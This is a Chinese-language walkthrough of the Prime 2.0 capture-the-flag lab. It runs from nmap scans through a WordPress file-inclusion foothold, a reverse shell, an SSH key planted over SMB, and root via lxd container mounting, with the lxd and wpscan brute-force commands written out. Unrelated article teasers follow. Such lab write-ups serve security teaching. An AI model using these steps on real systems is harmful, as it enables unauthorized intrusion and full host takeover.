Prime 2.0

信息收集

# Nmap 7.94 scan initiated Thu Nov 23 20:09:06 2023 as: nmap -sn -oN live.nmap 192.168.182.0/24
Nmap scan report for 192.168.182.1
Host is up (0.00018s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.182.2
Host is up (0.00019s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.182.145
Host is up (0.00018s latency).
MAC Address: 00:0C:29:5A:8B:78 (VMware)
Nmap scan report for 192.168.182.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:E1:8D:23 (VMware)
Nmap scan report for 192.168.182.130
Host is up.
# Nmap done at Thu Nov 23 20:09:08 2023 -- 256 IP addresses (5 hosts up) scanned in 1.96 seconds

确定攻击的靶标为192.168.182.145

# Nmap 7.94 scan initiated Thu Nov 23 20:09:23 2023 as: nmap -sT --min-rate 10000 -p- -oN port.nmap 192.168.182.145
Nmap scan report for 192.168.182.145
Host is up (0.0031s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10123/tcp open  unknown
MAC Address: 00:0C:29:5A:8B:78 (VMware)# Nmap done at Thu Nov 23 20:09:26 2023 -- 1 IP address (1 host up) scanned in 2.96 seconds

开放5个端口号!分别是22(ssh)、80(http)、139(netbios-ssn)、445(microsoft-ds)以及10123端口!

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 09:51 CST
Nmap scan report for 192.168.182.145
Host is up (0.00091s latency).PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0a:16:3f:c8:1a:7d:ff:f5:7a:66:05:63:76:7c:5a:95 (RSA)
|   256 7f:47:44:cc:d1:c4:b7:54:de:4f:27:f2:39:38:ff:6e (ECDSA)
|_  256 f5:d3:36:44:43:40:3d:11:9b:d1:a6:24:9f:99:93:f7 (ED25519)
80/tcp    open  http        Apache httpd 2.4.46 ((Ubuntu))
|_http-title: HackerCTF
|_http-server-header: Apache/2.4.46 (Ubuntu)
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10123/tcp open  http        SimpleHTTPServer 0.6 (Python 3.9.4)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.9.4
MAC Address: 00:0C:29:5A:8B:78 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_nbstat: NetBIOS name: HACKERCTFLAB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.34 seconds

靶标运行在vmware中,操作系统是Ubuntu,22端口的为OpenSSH,版本是8.4p1,80端口是Apache起的http服务,139 445为Samba服务! 10123端口是SimpleHTTPServer。

# Nmap 7.94 scan initiated Thu Nov 23 20:09:48 2023 as: nmap -sT --script=vuln -p22,80,139,445,10123 -oN vuln.nmap 192.168.182.145
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.182.145
Host is up (0.00038s latency).PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
|_  /server/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10123/tcp open  unknown
MAC Address: 00:0C:29:5A:8B:78 (VMware)Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|_smb-vuln-ms10-054: false# Nmap done at Thu Nov 23 20:10:54 2023 -- 1 IP address (1 host up) scanned in 65.34 seconds

80端口上存在三个目录,其中比较重要的就是server目录!其中10123端口上的服务比较特殊~ 优先的突破点还是在80端口上~

渗透测试

首先还是来看80端口上运行的服务:

界面就是如上所示,看看源码里面是否存在什么信息!关于首页上面的英文,大概说了“我们是谁?”和“为什么我们要做这件事情?”

这是一个HACKCTF社区~

首页三个功能点,分别尝试进行了点击,没什么有价值的东西。尝试访问/server目录。同时进行目录的爆破!

发现了gila目录和一个gila的压缩包,下载这个压缩包~(同时注意到这个gila的版本是1.10.9),下载成功后解压,发现这是gila-1.10.9版本的源码:

尝试访问gila:

空白的页面,说明是存在gila的,但是访问不到(难道是没有授权嘛?感觉首页都访问不到~),利用searchsploit搜索了gila,发现该版本的gila,存在RCE!(需要授权)

看看下载下来的gila的源码里面存在什么东西吧!

默认配置文件里面存在数据库的用户名和密码,以及数据库的名字。

目录扫描

上面经过了目录的扫描:

发现存在wp目录,应该就是wordpress!

先利用cewl爬取了wp的相关关键词,然后利用wpscan尝试枚举了wp的用户,并成功的发现了wp的一个用户是admin!

cewl爬取的相关信息:

尝试对wp的登陆界面进行爆破!

失败~ 换一个字典试试~ 尝试wpscan进行密码的破解:

wpscan --url http://192.168.182.145/wp -U admin --passwords /usr/share/wordlists/rockyou.txt

同时利用了爬取的关键字作为了密码进行爆破,均没有成功~

利用wpscan的时候,找到了wordpress的版本是5.8的版本这个版本在5.8.3以下存在sql注入的漏洞!但是还是利用失败了

好抽象啊~ 如果sql注入成功的话,那么也是可以拿到密码的,但是没成功~

利用API Token进行扫描:

找到了一个文本文件包含的漏洞!查看说明文档:

找到exp进行利用:

发现确实存在文件包含漏洞!

10123端口

该端口上存在许多的文件,但是很多文件为空:

比较有价值的文件:

当前的目录是家目录?然后下面有一个upload目录,upload目录下面存在着shell.php文件,但是我们尝试访问便直接下载下来了,因为他是SimpleHTTP起的服务。我们直接进行文件包含。

然后给定cmd的参数的参数值,进行命令的执行!

确实能够执行命令,那么我们可以写反弹shell!

本地起监听!

拿到初始的shell!然后利用python提升bash的交互性!

提权

由于端口信息出现了139 445 SMB协议!

SMB(Server Message Block)服务器消息块协议,用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。一般共享文件夹打印机使用较多
它是应用层(和表示层)协议,使用C/S架构。

enum4linux工具是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息。

利用enum4linux快速收集相关信息:

enum4linux -a -o 192.168.182.145
-a 枚举所有的消息
-o 收集操作系统相关信息

发现存在两个磁盘和一个IPC链接!其中welcome的介绍是”Welcome to Hackerctf LAB“

利用smbclient进行连接!

smbclient //192.168.182.145/welcome

需要输入root的密码!密码相关的信息,在拿到初始的shell之后,找到了一个数据库的默认账号和密码都是root:

进行密码碰撞!成功登录!

整个思路是这样的:利用smb登录到//192.168.182.145/welcome,然后我们本地创建一个ssh公钥,给这个公钥上传到//192.168.182.145/welcome(登陆上来发现还是jarves的家目录!具有可写的权限),上传到.ssh目录下,命名为authorized_keys~ 然后利用这个公钥进行ssh登录到jarves用户!

利用ssh-keygen创建ssh的公钥

ssh-keygen -b 2048

公钥的key被存储在/root/.ssh/id_rsa.pub!

然后给他修改一个名字,命名为authorized_keys!然后在这个文件的当前目录下,使用smbclient重新登录,登录之后利用put命令,将文件上传!

然后退出之后,利用ssh登录jarves用户!

通过id命令,查看到jarves属于lxd组!

id 
cat /etc/group|grep jarves

lxd提权

Docker是一个用于在集中式平台上创建、部署和运行应用程序的开源工具!这使得主机的操作系统通过容器运行具有相同linux内核的应用程序,而不是创建一个完整的虚拟机!

lxc是linux容器的缩写,Linux容器是一种操作系统,用于通过单个Linux内核在受控主机上虚拟运行多个Linux系统。是一种用于操作系统虚拟化的工具。

lxd代表Linux Daemon,他是一个扩展,主要用于指导LXC。

LXD LXC是一个系统级的容器,但是Docker是一个应用程序容器!

首先查看当前用户所属的组:

cat /etc/group | grep jarves

查看容器部署情况:

lxc list

下载alpine:

git clone https://github.com/saghul/lxd-alpine-builder.git

构建:

cd lxd-alpine-builder
./build-alpine

(会生成一个.tar.gz的压缩包)开启一个简单的http服务:

python3 -m http.server 80

目标机器下载刚才生成的压缩包:

wget http://192.168.182.130/alpine-v3.18-x86_64-20231124_1956.tar.gz

使用lxd进行初始化;用lxc命令挂载image:

lxd init
lxc image import ./alpine-v3.18-x86_64-20231124_1956.tar.gz --alias myimage
导入image 重命名为myimage

列出已经存在的image:

lxc image list

lxc init 来初始化image(可以填别名,也可以填指纹),也就是alpine系统,并创建ignite账户,通过c参数来配置安全提升策略为true。代表用户ignite可以申请高级权限。

lxc init myimage ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/sh

lxc config device 命令用来配置设备,add吧mydevice设备添加到了test账户中,disk是磁盘挂载,把本机/目录挂载到容器的/mnt/root下,recursive即是否递归,代表是否将所有子目录及所有文件进行挂载;

进入mnt/root目录,这个目录包含所有宿主机文件;

替换掉authorized_keys文件!

最后利用ssh远程登陆到root账户上!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/193948.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

长度最小的子数组(Java详解)

目录 题目描述 题解 思路分析 暴力枚举代码 滑动窗口代码 题目描述 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其和 ≥ target 的长度最小的 连续子数组 [numsl, numsl1, ..., numsr-1, numsr] &#xff0c;并返回其长度。如果不存在符合条…

OpenCvSharp从入门到实践-(06)创建图像

目录 1、创建图像 1.1实例1-创建黑色图像 1.2实例2-创建白色图像 1.3实例3-创建随机像素的雪花点图像 2、图像拼接 2.1水平拼接图像 2.2垂直拼接图像 2.3实例4-垂直和水平两种方式拼接两张图像 在OpenCV中&#xff0c;黑白图像其实就是一个二维数组&#xff0c;彩色图像…

[ Linux Audio 篇 ] 音频开发入门基础知识

在短视频兴起的背景下&#xff0c;音视频开发越来越受到重视。接下来将为大家介绍音频开发者入门知识&#xff0c;帮助读者快速了解这个领域。 轻柔的音乐、程序员有节奏感的键盘声、嗡嗡的发动机、刺耳的手提钻……这些声音是如何产生的呢&#xff1f;又是如何传到我们耳中的…

SpringSecurity和JWT实现认证和授权

SpringSecurity和JWT实现认证和授权 框架介绍SpringSecurityJWT组成实例JWT实现认证和授权的原理 Hutool 使用表整合SpringSecurity及JWT在pom.xml中添加依赖添加JWT token的工具类添加RbacAdminService&#xff1a;添加自定义mapper创建SpringSecurity配置类添加ProjectSecuri…

Redis--14--BigKey 和 热点Key

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 BigKey1.什么是bigkey2.bigkey的危害3.发现bigkeyscan 4.解决bigkey 什么是热点Key&#xff1f;该如何解决1. 产生原因和危害原因危害 2.发现热点key预估发现客户端…

使用RTOS时需要注意的几点内容

对许多嵌入式项目来说&#xff0c;系统设计师都倾向于选择实时操作系统(RTOS)。但RTOS总是必要的吗? 答案是取决于具体的应用&#xff0c;因此了解我们要达到什么目标是决定RTOS是必要的还是花瓶的关键。 一般来说&#xff0c;在采用非实时操作系统(non-RTOS)的任何场合&…

praseInt 和 逻辑或连用

这是做项目时遇到json文件转换 的一个小坑 将json 对象中的值 由字符串(数字字符串) 转换为 数值类型&#xff0c;如果是 转换失败 &#xff0c;就返回 -1 这里的 parseInt 看起来非常简洁&#xff0c;但是存在一个小坑 transformedData[fieldsToCheck[i]] parseInt(origina…

Stable Diffusion AI绘画系列【11】:超萌的Q版手办萌宠系列

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

C语言memcpy,memmove的介绍及模拟实现

文章目录 每日一言memcpy介绍模拟实现 memmove介绍模拟实现思路代码 结语 每日一言 If you want to lift yourself up, lift up someone else. 如果你想振奋自己&#xff0c; 先振奋周遭的人。 memcpy 介绍 函数原型&#xff1a; void *memcpy(void *dest, const void *sr…

送女朋友一个猜数字小游戏,猜对了会显示爱心(给你心爱的他或她一个惊喜)

起因是我在学习C语言完成老师布置C语言写一个猜数字的作业&#xff0c;突发奇想&#xff0c;能不能在这个猜对了之后弹出一个不一样的页面&#xff0c;然后就试试看能不能实现。基本思路是这样的&#xff1a; 1&#xff1a;先写一个C语言的猜数字的小游戏&#xff0c;在我上个文…

StackGres 1.6 数据库平台工程功能介绍以及快速上手

StackGres 1.6 数据库平台工程功能 声明式 K8S CRs StackGres operator 完全由 Kubernetes 自定义资源管理。除了 kubectl 或任何其他 Kubernetes API 访问之外&#xff0c;不需要安装任何客户端或其他工具来管理 StackGres。您的请求由 CRD 的 spec 部分表示&#xff0c;任何 …

Redis 数据结构详解

分类 编程技术 Redis 数据类型分为&#xff1a;字符串类型、散列类型、列表类型、集合类型、有序集合类型。 Redis 这么火&#xff0c;它运行有多块&#xff1f;一台普通的笔记本电脑&#xff0c;可以在1秒钟内完成十万次的读写操作。 原子操作&#xff1a;最小的操作单位&a…

无懈可击的身份验证:深入了解JWT的工作原理

&#x1f38f;&#xff1a;你只管努力&#xff0c;剩下的交给时间 &#x1f3e0; &#xff1a;小破站 无懈可击的身份验证&#xff1a;深入了解JWT的工作原理 前言JWT的基础概念基本概念JWT的工作流程注意事项 JWT的工作原理生成令牌传输令牌验证令牌 JWT的安全性考量1. 使用强…

MySql下载和安装

MySql下载和安装 一、概述 MySQL是一个开放源代码的关系型数据库管理系统 &#xff0c;由瑞典MySQL AB&#xff08;创始人Michael Widenius&#xff09;公 司1995年开发&#xff0c;迅速成为开源数据库的 No.1。 二、下载和安装 下载地址&#xff1a;https://dev.mysql.com…

Python编程技巧 – 迭代器(Iterator)

Python编程技巧 – 迭代器(Iterator) By JacksonML Iterator(迭代器)是Python语言的核心概念之一。它常常与装饰器和生成器一道被人们提及&#xff0c;也是所有Python书籍需要涉及的部分。 本文简要介绍迭代器的功能以及实际的案例&#xff0c;希望对广大读者和学生有所帮助。…

自然语言处理(NLP)技术-AI生成版

自然语言处理&#xff08;NLP&#xff09;是一种涵盖众多技术的交叉学科&#xff0c;旨在使计算机能够理解、生成和处理自然语言文本。它涉及语言学、计算机科学、统计学和人工智能等多个领域。下面将举例说明NLP技术在实际应用中的一些场景。 情感分析 情感分析是指使用NLP技…

Xshell会话文件解密获取密码

Xshell会话文件解密获取密码 开发了一个小工具用于获取已存储的xshell会话密码功能简介截图展示下载地址 开发了一个小工具用于获取已存储的xshell会话密码 在日常开发中&#xff0c;服务器太多&#xff0c;密码记不住。使用xshell管理服务器会话&#xff0c;记住密码&#xf…

Linux网络之连接跟踪 conntrack

一 Linux网络之连接跟踪 conntrack k8s 有关conntrack的分析 ① 什么是连接跟踪 netfilter连接跟踪 conntrack 详述 思考&#xff1a;连接跟踪模块会对哪些协议进行跟踪?TCP、UDP、ICMP、DCCP、SCTP、GRE ② 为什么需要连接跟踪 没有连接跟踪有很多问题是不好解决的&a…

WebGL笔记:js中矩阵库的使用

矩阵库 手写矩阵&#xff0c;其实很麻烦&#xff0c;可以将其模块化市面上已经有许多开源的矩阵库 比如《WebGL 编程指南》里的 cuon-matrix.jsthree.js 的 Matrix3 和 Matrix4 对象 three.js的 Matrix4 对象的用法 1 &#xff09;核心代码 1.引入Matrix4对象 import { Mat…

Spring一些基础问题整理

备注&#xff1a;针对基本问题做一些基本的总结&#xff0c;不是详细解答&#xff01; 1.Spring Boot与以前的Spring有什么区别&#xff1f; 具体可以见博客&#xff1a; 微服务架构具体实现工具框架&#xff1a;Spring Boot概览与核心原理 https://blog.csdn.net/xiaofeng103…